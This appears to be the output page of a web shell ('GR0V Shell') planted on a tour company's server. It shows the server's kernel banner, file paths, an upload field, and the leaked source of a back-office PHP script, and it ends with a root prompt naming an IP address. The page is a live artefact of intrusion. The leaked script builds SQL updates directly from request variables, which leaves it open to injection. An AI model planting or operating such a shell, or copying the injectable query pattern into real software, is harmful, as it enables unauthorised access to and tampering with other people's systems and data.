? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/backoffice/php/
File Upload :
Current File : /home/admin/public_html/old/backoffice/php/send_list_fields.php

<?php
$root_path = "../";
include($root_path."header.php");
$db_tm	 = new sql_db($dbhost, $dbuser, $dbpasswd, $dbname, false);
/*
echo $TB,"<br>";  //ชื่อตารางภาษาอังกฤษ
echo $TBTH,"<br>";	//ชื่อตารางภาษาไทย
echo $selitem,"<P>";	//ชื่อ Group
echo $CURRENT_PATH,"<P>";	//path ปัจจุบัน
echo "<script>alert('$TB $TBTH $selitem');</script>";
echo $chk_data_fields,"<br>";
echo strlen($chk_data_fields)-1,"<br>";
echo substr($chk_data_fields,0,strlen($chk_data_fields)-1),"<br>";
*/
$sql						=	"select * from $selitem where 0";
$result					=	$db_tm->sql_query($sql);
$fieldsname			=	$db_tm->sql_fieldname($offset=1,$result);
$data_notshow	=	substr($chk_data_fields,0,strlen($chk_data_fields)-1);
$sql_update			=	"update $selitem set NOTSHOW='".$data_notshow."' where $fieldsname = '".$TB."' ";
$result					=	$db_tm->sql_query($sql_update);
echo "<script>window.close();window.parent.opener.parent.basefrm.location.href='".$CURRENT_PATH."/list_data.php?TB=$TB&TBTH=$TBTH&selitem=$selitem';</script>";
?>

T1KUS90T
  root-grov@210.1.60.28:~$